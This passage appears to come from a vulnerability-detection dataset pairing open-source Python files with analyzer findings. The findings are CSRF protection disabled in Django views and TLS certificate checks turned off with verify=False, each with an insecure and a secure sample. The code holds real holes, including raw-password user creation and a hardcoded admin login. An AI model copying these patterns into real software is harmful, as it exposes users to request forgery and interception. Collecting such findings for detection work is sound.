response.\n json_post_response = {\n 'new_user_inst': new_user_inst,\n 'new_admin_inst': new_puborgadmin_inst,\n }\n return JsonResponse(json_post_response, safe=False, encoder=ManagersModelsJSONEncoder)\n elif req.method == 'PUT':\n req_params = req.body.decode(\"utf-8\")\n put_fields = json.loads(req_params)\n admin_id = put_fields.get('admin_id')\n doc_code = put_fields.get('doc_code')\n credentials = put_fields.get('credentials')\n # Update and save PubOrgAdmin instance.\n admin_to_update = PubOrgAdmin.objects.get(pk=admin_id)\n admin_to_update.doc_code = doc_code\n admin_to_update.credentials = credentials\n admin_to_update.save()\n # Send resulting json response.\n json_put_response = {\n 'upd_admin_inst': admin_to_update\n }\n return JsonResponse(json_put_response, safe=False, encoder=ManagersModelsJSONEncoder)\n elif req.method == 'DELETE':\n req_params = req.body.decode(\"utf-8\")\n delete_fields = json.loads(req_params)\n admin_id = delete_fields.get('admin_id')\n admin_instance = get_object_or_404(PubOrgAdmin, pk=admin_id)\n admin_user_instance = get_object_or_404(User, pk=admin_instance.user.pk)\n admin_instance.delete()\n admin_user_instance.delete()\n json_delete_response = {\n 'deleted_id': admin_id,\n }\n return JsonResponse(json_delete_response)\n json_err_response = {'status': 405, 'descr': 'method not allowed'}\n return JsonResponse(json_err_response)\n\n\n@method_decorator(csrf_exempt, name='dispatch')\ndef apimanageregistrant(req):\n try:\n current_user_instance = req.user\n current_registrant_instance = get_object_or_404(PubOrgRegistrant, user=req.user.id)\n except Exception as e:\n json_err_response = {'status': 404, 'descr': 'Some exception: {0}'.format(e)}\n return JsonResponse(json_err_response)\n\n if req.method == 'GET':\n json_get_response = {\n 'user_inst': current_user_instance,\n 'registrant_inst': current_registrant_instance\n }\n return JsonResponse(json_get_response, safe=False, encoder=ManagersModelsJSONEncoder)\n elif req.method == 'POST':\n req_params = req.body.decode(\"utf-8\")\n post_fields = json.loads(req_params)\n username = post_fields.get('username')\n password = post_fields.get('password')\n hired_by = post_fields.get('hired_by')\n hired_order_code = post_fields.get('hired_order_code')\n doc_code = post_fields.get('doc_code')\n credentials = post_fields.get('credentials')\n # Create and save User instance.\n new_user_inst = User(username=username, password=password)\n new_user_inst.save()\n # Create and save PubOrgRegistrant instance.\n new_puborgregistrant_inst = PubOrgRegistrant(\n user=new_user_inst.pk,\n hired_by=hired_by,\n hired_order_code=hired_order_code,\n doc_code=doc_code,\n credentials=credentials\n )\n new_puborgregistrant_inst.save()\n # Send resulting json response.\n json_post_response = {\n 'new_user_inst': new_user_inst,\n 'new_registrant_inst': new_puborgregistrant_inst,\n }\n return JsonResponse(json_post_response, safe=False, encoder=ManagersModelsJSONEncoder)\n elif req.method == 'PUT':\n req_params = req.body.decode(\"utf-8\")\n put_fields = json.loads(req_params)\n registrant_id = put_fields.get('registrant_id')\n hired_by = put_fields.get('hired_by')\n hired_order_code = put_fields.get('hired_order_code')\n doc_code = put_fields.get('doc_code')\n credentials = put_fields.get('credentials')\n # Update and save PubOrgRegistrant instance.\n registrant_to_update = PubOrgRegistrant.objects.get(pk=registrant_id)\n registrant_to_update.hired_by = hired_by\n registrant_to_update.hired_order_code = hired_order_code\n registrant_to_update.doc_code = doc_code\n registrant_to_update.credentials = credentials\n registrant_to_update.save()\n # Send resulting json response.\n json_put_response = {\n 'upd_registrant_inst': registrant_to_update\n }\n return JsonResponse(json_put_response, safe=False, encoder=ManagersModelsJSONEncoder)\n elif req.method == 'DELETE':\n req_params = req.body.decode(\"utf-8\")\n delete_fields = json.loads(req_params)\n registrant_id = delete_fields.get('registrant_id')\n registrant_instance = get_object_or_404(PubOrgRegistrant, pk=registrant_id)\n registrant_user_instance = get_object_or_404(User, pk=registrant_instance.user.pk)\n registrant_instance.delete()\n registrant_user_instance.delete()\n json_delete_response = {\n 'deleted_id': registrant_id,\n }\n return JsonResponse(json_delete_response)\n json_err_response = {'status': 405, 'descr': 'method not allowed'}\n return JsonResponse(json_err_response)", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 14, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "89874f70c0dbc601900d5d60b4c2d9b9db5a69b7781d252219e6a4f860bceee3", "license": {"spdx": ["Apache-2.0"], "repo": "shy166/hinreddit", "path": "src/etl/etl.py", "repo_head_hexsha": "e19abfa584b8b0cf801dd6968ac7b42d4b68ee96", "stack_hexsha": "4fd37eada01051d2655006a5f367e3dce290c716", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 39, "entireCode": "# import praw as pr\nimport pandas as pd\nfrom src import *\nimport json\nimport requests\nimport pandas as pd\nimport os\nfrom os.path import join\nfrom tqdm import tqdm\nimport time\nfrom joblib import Parallel, delayed\nfrom p_tqdm import p_umap\nfrom glob import glob\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\nAPI = 'https://api.pushshift.io/'\nCOMMENT = join(API, 'reddit/search/comment/')\nSUBMISSION = join(API, 'reddit/search/submission/')\nSUBMISSION_DETAIL = join(API, 'reddit/submission/comment_ids/')\nPOST_DIR = 'raw/posts'\nPOST_DETAIL_DIR = 'raw/posts_detail'\nCOMMENT_DIR = 'raw/comments'\ndef fetch_post(subreddit, sort_type, sort, size, before, meta):\n \"\"\"[fetch posts]\n\n Args:\n subreddit ([string]): [the subreddit of the post to be fetched; i.e. 'politics']\n sort_type ([string]): [the catogory to be sorted; i.e. 'time']\n sort ([string]): ['asc': ascending; 'dsc': descending]\n size ([int]): [number of post to be fetched]\n before ([int]): [unix utc 10 digits timestamp]\n meta ([list]): [meta to be fetched]\n \"\"\"\n params = '?' + 'subreddit=' + subreddit + \\\n '&' + 'sort_type=' + sort_type + \\\n '&' + 'sort=' + sort + \\\n '&' + 'size=' + size + \\\n '&' + 'before=' + before\n r = requests.get(join(SUBMISSION, params), verify=False)\n attemps = 0\n if r.status_code == 200:\n try:\n data = pd.DataFrame(r.json()['data'])[meta]\n return data, str(data.created_utc.min())\n except KeyError:\n data = pd.DataFrame(r.json()['data'])\n return data, False\n elif r.status_code == 403:\n while r.status_code == 403 & attemps < 5:\n attemps += 1\n time.sleep(3 * attemps)\n r = requests.get(join(SUBMISSION, params), verify=False)\n try:\n data = pd.DataFrame(r.json()['data'])[meta]\n return data, str(data.created_utc.min())\n except KeyError:\n try:\n data = pd.DataFrame(r.json()['data'])\n return data, False\n except:\n return None\n else:\n time.sleep(5)\n r = requests.get(join(SUBMISSION, params), verify=False)\n if r.status_code == 200:\n try:\n data = pd.DataFrame(r.json()['data'])[meta]\n return data, str(data.created_utc.min())\n except KeyError:\n data = pd.DataFrame(r.json()['data'])\n return data, False\n else:\n return None\ndef fetch_posts(subreddit, total, meta, filepath, sort_type, sort, size, start):\n \"\"\"[fetch subreddits posts]\n\n Args:\n subreddit ([list]): [the list of subreddits of the post to be fetched; i.e. ['politics']]\n total ([int]): [the number of total subreddits to be fetched]\n filepath ([string]): [the filepath to store the data]\n sort_type ([string]): [the catogory to be sorted; i.e. 'time']\n sort ([string]): ['asc': ascending; 'dsc': descending]\n size ([int]): [number of post to be fetched]\n before ([int]): [unix utc 10 digits timestamp]\n meta ([list]): [meta to be fetched]\n\n Returns:\n [dict]: [the log of posts fetching process]\n \"\"\"\n num_epoch = -(-int(total) // int(size))\n start_time = start\n for i in range(num_epoch):\n last_time = start_time\n try:\n process, start_time = fetch_post(subreddit, sort_type, sort, size, start_time, meta)\n except TypeError:\n return {'subreddit': subreddit, 'result': 'unsuccess', 'status': i, 'last_time': last_time}\n if start_time != False:\n if not os.path.exists(join(filepath, POST_DIR, subreddit+'.csv')):\n process.to_csv(join(filepath, POST_DIR, subreddit+'.csv'), index = False)\n else:\n process.to_csv(join(filepath, POST_DIR, subreddit+'.csv'), index = False, mode='a', header = False)\n else:\n process.to_csv(join(filepath, POST_DIR, subreddit+'_failed.csv'), index = False)\n return {'subreddit': subreddit, 'result': 'unsuccess', 'status': i, 'last_time': last_time}\n time.sleep(.5)\n return {'subreddit': subreddit,'result': 'success', 'status': num_epoch, 'last_time': last_time}\ndef fetch_submissions(**kwargs):\n \"\"\"[function to fetch submissions]\n\n Returns:\n [dict]: [the log of submission fetching process]\n \"\"\"\n post_args, meta_args = kwargs['POST_ARGS'], kwargs['META_ARGS']\n filepath, total, meta, subreddits = meta_args['filepath'], meta_args['total'], \\\n meta_args['meta'], meta_args['subreddits']\n sort_type, sort, size, start = post_args['sort_type'], post_args['sort'], post_args['size'], post_args['start']\n if os.path.exists(os.path.join(filepath, 'raw', 'posts', 'log.json')):\n return json.load(open(os.path.join(filepath, 'raw', 'posts', 'log.json')))\n else:\n tolist = lambda x: [x for _ in range(len(subreddits))]\n res = p_umap(fetch_posts, subreddits, tolist(total), tolist(meta), tolist(filepath), tolist(sort_type), tolist(sort), tolist(size), tolist(start), num_cpus = NUM_WORKER)\n with open(os.path.join(filepath, 'raw', 'posts', 'log.json'), 'w') as fp:\n json.dump(res, fp)\n return res\n\ndef submission_detail(i):\n \"\"\"[function to fetch submission's comments detail]\n\n Args:\n i ([string]): [subreddit name]\n\n Returns:\n [dict]: [log of the detail fetching process]\n \"\"\"\n r = requests.get(join(SUBMISSION_DETAIL, i), verify=False)\n attemps = 0\n if r.status_code == 200:\n return {'submission_id': i, 'comment_ids': r.json()['data']}\n elif r.status_code == 403:\n while r.status_code == 403 & attemps < 5:\n attemps += 1\n time.sleep(3 * attemps)\n r = requests.get(join(SUBMISSION_DETAIL, i), verify=False)\n try: \n return {'submission_id': i, 'comment_ids': r.json()['data']}\n except:\n return {'submission_id': i, 'comment_ids': []}\n else:\n time.sleep(5)\n r = requests.get(join(SUBMISSION_DETAIL, i), verify=False)\n if r.status_code == 200:\n return {'submission_id': i, 'comment_ids': r.json()['data']}\n else:\n return {'submission_id': i, 'comment_ids': []}\ndef submissions_detail(filepath):\n \"\"\"[function to fetch submissions' comments detail]\n\n Args:\n filepath ([string]): [filepath to store the data]\n \"\"\"\n subreddits_fp = glob(join(filepath, POST_DIR, '*.csv'))\n subreddits = [i.split('/')[-1][:-4] for i in subreddits_fp]\n n, N = 1, len(subreddits)\n for subreddit, fp in zip(subreddits,subreddits_fp):\n print('fetching {0} subreddit details, Progress: {1}/{2}'.format(subreddit, str(n), str(N)))\n if os.path.exists(join(filepath, POST_DETAIL_DIR, subreddit+'.json')):\n n += 1\n continue\n else:\n ids = pd.read_csv(fp).id.tolist()\n rest = p_umap(submission_detail, ids, num_cpus = NUM_WORKER)\n with open(join(filepath, POST_DETAIL_DIR, subreddit+'.json'), 'w') as f:\n json.dump(rest, f)\n n += 1\ndef comment_detail(i, filepath, subreddit):\n \"\"\"[function to fetch the detail of comments]\n\n Args:\n i ([string]): [comment id]\n filepath ([string]): [file path of submissions detail]\n subreddit ([string]): [subreddit]\n\n Returns:\n [dict]: [log of the comment detail fetching process]\n \"\"\"\n if os.path.exists(join(filepath, COMMENT_DIR, subreddit + '.csv')):\n return {'subreddit': subreddit, 'result': 'success'}\n df = pd.DataFrame(json.load(open(i)))\n lst = df.comment_ids.explode().dropna().unique().tolist()\n lst = [lst[i: i+100] for i in range(0, len(lst), 100)]\n res = []\n for i in lst:\n attemps = 0\n phrase = ','.join(i)\n r = requests.get(join(COMMENT, '?ids='+phrase), verify=False)\n if r.status_code == 200:\n try:\n res.append(pd.DataFrame(r.json()['data'])[['id', 'author', 'created_utc', \\\n 'is_submitter', 'subreddit', 'link_id', 'body', 'parent_id', 'send_replies']])\n except KeyError:\n continue\n elif r.status_code == 403:\n while r.status_code == 403 & attemps < 5:\n attemps += 1\n time.sleep(3 * attemps)\n r = requests.get(join(COMMENT, '?ids='+phrase), verify=False)\n if r.status_code == 200:\n try:\n res.append(pd.DataFrame(r.json()['data'])[['id', 'author', 'created_utc', \\\n 'is_submitter', 'subreddit', 'link_id', 'body', 'parent_id', 'send_replies']])\n except KeyError:\n continue\n else:\n continue\n else:\n time.sleep(5)\n r = requests.get(join(COMMENT, '?ids='+phrase), verify=False)\n if r.status_code == 200:\n try:\n res.append(pd.DataFrame(r.json()['data'])[['id', 'author', 'created_utc', \\\n 'is_submitter', 'subreddit', 'link_id', 'body', 'parent_id', 'send_replies']])\n except KeyError:\n continue\n else:\n continue\n if len(res) == 0:\n return {'subreddit': subreddit, 'result': 'unsuccess'}\n else:\n pd.concat(res, ignore_index = True).to_csv(join(filepath, COMMENT_DIR, subreddit + '.csv'), index = False)\n return {'subreddit': subreddit, 'result': 'success'}\ndef comments_detail(filepath):\n \"\"\"[function to fetch comments detail]\n\n Args:\n filepath ([string]): [filepath to store the data]\n \"\"\"\n subreddit_fp = glob(join(filepath, POST_DETAIL_DIR, '*.json'))\n subreddits = [i.split('/')[-1][:-5] for i in subreddit_fp]\n tolist = lambda x: [x for _ in range(len(subreddits))]\n rest = p_umap(comment_detail, subreddit_fp, tolist(filepath), subreddits, num_cpus = NUM_WORKER)\n with open(join(filepath, COMMENT_DIR, 'log.json'), 'w') as fp:\n json.dump(rest, fp)", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6. requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9. ctx3 = ssl.create_default_context()\n10. ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13. ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6. requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9. ctx = ssl.create_default_context()\n10. ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13. ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14. ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 39, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}} {"id": "2725de008519704733c63ee2f7729c2624794dd5aa3f6f273fa8dcc000f31420", "license": {"spdx": ["Apache-2.0"], "repo": "kanayabuno/awx", "path": "awx/main/utils/generate_yml.py", "repo_head_hexsha": "069555421111e00ead3dd0e6449d783342cb769a", "stack_hexsha": "9785e3e4309e037f8a8967cbff7462fb5c73c62a", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 33, "entireCode": "import json\nimport yaml\nimport os\nimport requests\nfrom git import Repo\n\n### convert device config in json to ansible playbook and run the playbook\n\nPATH_TO_REPO = os.path.expanduser('~') + \"/awx-playbooks/\"\nURL = 'http://10.4.19.251:32121/api/v2/'\nUSER = 'admin'\nPWD = ''\n### Set proper headers\nheaders = {\"Content-Type\":\"application/json\",\"Accept\":\"application/json\"}\n\ndef sync_project():\n response = requests.post(URL + \"projects/9/update/\", auth=(USER, PWD), headers=headers, verify=False)\n if response.status_code != 202:\n print('Status:', response.status_code, '\\nHeaders:', response.headers, '\\nError Response:',response)\n\n return response.json()['id']\n \n\ndef sync_inventory_source():\n response = requests.post(URL + \"inventory_sources/10/update/\", auth=(USER, PWD), headers=headers, verify=False)\n if response.status_code != 202:\n print('Status:', response.status_code, '\\nHeaders:', response.headers, '\\nError Response:',response)\n\n return response.json()['id']\n\ndef add_template(new_yml):\n # get a list of available templates for this project\n response = requests.get(URL + \"projects/9/playbooks/\", auth=(USER, PWD), headers=headers, verify=False)\n if response.status_code != 200:\n print('Status:', response.status_code, '\\nHeaders:', response.headers, '\\nError Response:',response)\n \n playbooks = response.json()\n #print(json.dumps(playbooks, indent=2))\n\n data = {\n 'name': new_yml,\n 'inventory': '2',\n 'project': '9',\n 'playbook': new_yml \n }\n\n # Create a job template\n response = requests.post(URL + \"job_templates/\", auth=(USER, PWD), json=data, headers=headers, verify=False)\n if response.status_code != 201:\n print('Status:', response.status_code, '\\nHeaders:', response.headers, '\\nContent:', response.content, '\\nError Response:',response)\n exit()\n \n return response.json()['id']\n\ndef run_template(template_id):\n response = requests.post(URL + \"job_templates/\" + str(template_id) + \"/launch/\", auth=(USER, PWD), headers=headers, verify=False)\n if response.status_code != 201:\n print('Status:', response.status_code, '\\nHeaders:', response.headers, '\\nContent:', response.content, '\\nError Response:',response) \n\n return response.json()['id']\n\n# return the file name\ndef git_push(id, output_yaml):\n output_file = str(id) + '.yml' \n output_file_path = PATH_TO_REPO + output_file\n with open(output_file_path, 'w') as outfile:\n yaml.dump(yaml.safe_load(output_yaml), outfile, default_flow_style=False, sort_keys=False)\n\n try:\n repo = Repo(PATH_TO_REPO)\n repo.git.add('--all')\n repo.index.commit(\"commit from python script\")\n origin = repo.remote(name='origin')\n origin.push()\n except:\n print(\"error occured while pushing the code\")\n \n return output_file\n\ndef awplus_vlans(tasks):\n tmp_dict = {}\n\n for item in tasks:\n item['vlan_id'] = item.pop('id')\n\n tmp_dict['name'] = \"Create vlans\"\n tmp_dict['awplus_vlans'] = {}\n tmp_dict['awplus_vlans']['config'] = tasks\n tmp_dict['awplus_vlans']['state'] = \"merged\"\n\n return tmp_dict\n\ndef awplus_openflow(tasks):\n tmp_dict = {}\n\n for item in tasks['ports']:\n item['openflow'] = True\n\n tmp_dict['name'] = \"Add openflow config\"\n tmp_dict['awplus_openflow'] = tasks\n\n return tmp_dict\n \ndef json_to_yaml(input_json):\n jobs = json.loads(input_json)['jobs']\n formatted_jobs = []\n\n for item in jobs:\n tmp = {}\n task_list = []\n\n tmp = {\n 'connection': 'network_cli',\n 'hosts': item['name'],\n 'collections': 'alliedtelesis.awplus'\n }\n\n tasks = item['tasks']\n for key in tasks:\n if (key == \"vlans\"):\n task_list.append(awplus_vlans(tasks[key]))\n\n if (key == \"openflow\"):\n task_list.append(awplus_openflow(tasks[key]))\n\n tmp['tasks'] = task_list\n formatted_jobs.append(tmp)\n\n return yaml.safe_dump(formatted_jobs, sort_keys=False)", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6. requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9. ctx3 = ssl.create_default_context()\n10. ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13. ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6. requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9. ctx = ssl.create_default_context()\n10. ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13. ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14. ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 33, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}} {"id": "76655245530e95a56e12a8e4c5b2a545583bebbe2eaf776a103554c5c7aef005", "license": {"spdx": ["MIT"], "repo": "idin/mercurius", "path": "linguistics/repustate/Repustate.py", "repo_head_hexsha": "48a4ed7843fb5d1946ef8051f23da7b32ab52ca3", "stack_hexsha": "f95902ccdfa11c405b16ae72a51115f7a22ac3e3", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 31, "entireCode": "import requests\n\n\nclass Repustate:\n\tdef __init__(self, api_key=None, server='api.repustate.com', cache=None):\n\t\t\"\"\"\n\t\t:param str api_key:\n\t\t:param disk.Cache.Cache cache:\n\t\t\"\"\"\n\t\tself._api_key = api_key or '$APIKEY'\n\t\tself._server = server\n\n\t\tself._cache = cache\n\t\tif self._cache:\n\t\t\tself.get_entities = self._cache.make_cached(\n\t\t\t\tid='repustate_get_entities_function',\n\t\t\t\tfunction=self._get_entities,\n\t\t\t\tsub_directory='get_entities'\n\t\t\t)\n\t\t\tself.get_sentiment = self._cache.make_cached(\n\t\t\t\tid='repustate_get_sentiment_function',\n\t\t\t\tfunction=self._get_sentiment,\n\t\t\t\tsub_directory='get_sentiment'\n\t\t\t)\n\t\telse:\n\t\t\tself.get_entities = self._get_entities\n\t\t\tself.get_sentiment = self._get_sentiment\n\n\t@property\n\tdef usage(self):\n\t\tresponse = requests.get(\n\t\t\tf'https://{self._server}/v4/{self._api_key}/usage.json',\n\t\t\tverify=False,\n\t\t)\n\t\treturn response.json()\n\n\tdef _get_entities(self, text, language='en'):\n\t\tresponse = requests.post(\n\t\t\tf'https://{self._server}/v4/{self._api_key}/entities.json',\n\t\t\tverify=False, data={'text': text, 'lang': language}\n\t\t)\n\t\treturn response.json()\n\n\tdef _get_sentiment(self, text, topics=None, language='en'):\n\t\tif isinstance(text, str):\n\t\t\tif topics is None:\n\t\t\t\tresponse = requests.post(\n\t\t\t\t\tf'https://{self._server}/v4/{self._api_key}/score.json',\n\t\t\t\t\tverify=False, data={'text': text, 'lang': language}\n\t\t\t\t)\n\n\t\t\telse:\n\t\t\t\tresponse = requests.post(\n\t\t\t\t\tf'https://{self._server}/v4/{self._api_key}/topic.json',\n\t\t\t\t\tverify=False, data={'text': text, 'topics': ','.join(topics) , 'lang': language}\n\t\t\t\t)\n\n\t\telif isinstance(text, list):\n\t\t\tif topics is None:\n\t\t\t\tdata = {f'text{i}': t for i, t in enumerate(text)}\n\t\t\t\tdata['lang'] = language\n\t\t\t\tresponse = requests.post(\n\t\t\t\t\tf'https://{self._server}/v4/{self._api_key}/bulk-score.json',\n\t\t\t\t\tverify=False, data=data\n\t\t\t\t)\n\t\t\telse:\n\t\t\t\tresponse = None\n\t\telse:\n\t\t\tresponse = None\n\n\t\treturn response.json()", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6. requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9. ctx3 = ssl.create_default_context()\n10. ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13. ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6. requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9. ctx = ssl.create_default_context()\n10. ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13. ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14. ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 31, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}} {"id": "4d63dff65947f6ab23239585835e2d7b8d59f64cc13af55a53d75b25b7ae0543", "license": {"spdx": ["MIT"], "repo": "kohhi/exist", "path": "apps/url/views.py", "repo_head_hexsha": "c688a228ac9fee56ff29990a6d75b2a09f8457ca", "stack_hexsha": "534a97f7309d5669a7951c0b6777e2836eedaf5c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 107, "entireCode": "from django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import redirect\nfrom django.views.generic import TemplateView, DetailView\nfrom django.urls import reverse\nfrom django.utils.http import urlquote\nfrom .forms import SearchForm\nfrom lib.vt import VT\nimport os\nimport subprocess\nimport hashlib\nimport requests\nimport imgkit\nimport shutil\nimport re\nfrom django.db.models import Q\nfrom apps.threat.models import Event, Attribute\nfrom apps.reputation.models import blacklist\nfrom apps.twitter.models import tweet\nfrom apps.exploit.models import Exploit\nfrom django.conf import settings\nfrom logging import getLogger\n\nlogger = getLogger('command')\n\nclass IndexView(TemplateView):\n template_name = 'url/index.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['search_form'] = SearchForm()\n return context\n\n def get(self, request, **kwargs):\n if request.GET.get('keyword'):\n url = request.GET.get('keyword')\n if self.is_valid_url(url):\n return HttpResponseRedirect(reverse(\"url:index\") + urlquote(url, safe='') + '/')\n else:\n return redirect('url:index')\n context = self.get_context_data()\n return self.render_to_response(context)\n\n def is_valid_url(self, value):\n compiled_pattern = re.compile('http(s)?://\\w+')\n if compiled_pattern.match(value):\n return True\n else:\n return False\n\nclass DetailView(TemplateView):\n template_name = 'url/detail.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['search_form'] = SearchForm()\n url = self.kwargs['pk']\n\n response = self.getResponse(url)\n if response is not None:\n context['response_code'] = response.status_code\n if \"content-type\" in response.headers:\n context['content_type'] = response.headers[\"content-type\"]\n context['response_sha256'] = self.getHash(response)\n context['title'] = self.getTitle(response)\n if \"last-modified\" in response.headers:\n context['last_modified'] = response.headers[\"last-modified\"]\n if \"server\" in response.headers:\n context['server'] = response.headers[\"server\"]\n if \"content-length\" in response.headers:\n context['content_length'] = response.headers[\"content-length\"]\n context['imagefile'] = self.getImage(url)\n context['websrc'] = self.getSrc(url)\n\n try:\n vt = VT()\n context['vt_url'] = vt.getURLReport(url)\n except Exception as e:\n logger.error(e)\n\n context['bls'] = blacklist.objects.filter(Q(url__contains=url))\n count = context['bls'].count()\n if count > 0:\n context['bls_count'] = count\n context['events'] = Event.objects.filter(Q(info__icontains=url)).order_by('-publish_timestamp')\n count = context['events'].count()\n if count > 0:\n context['events_count'] = count\n context['attributes'] = 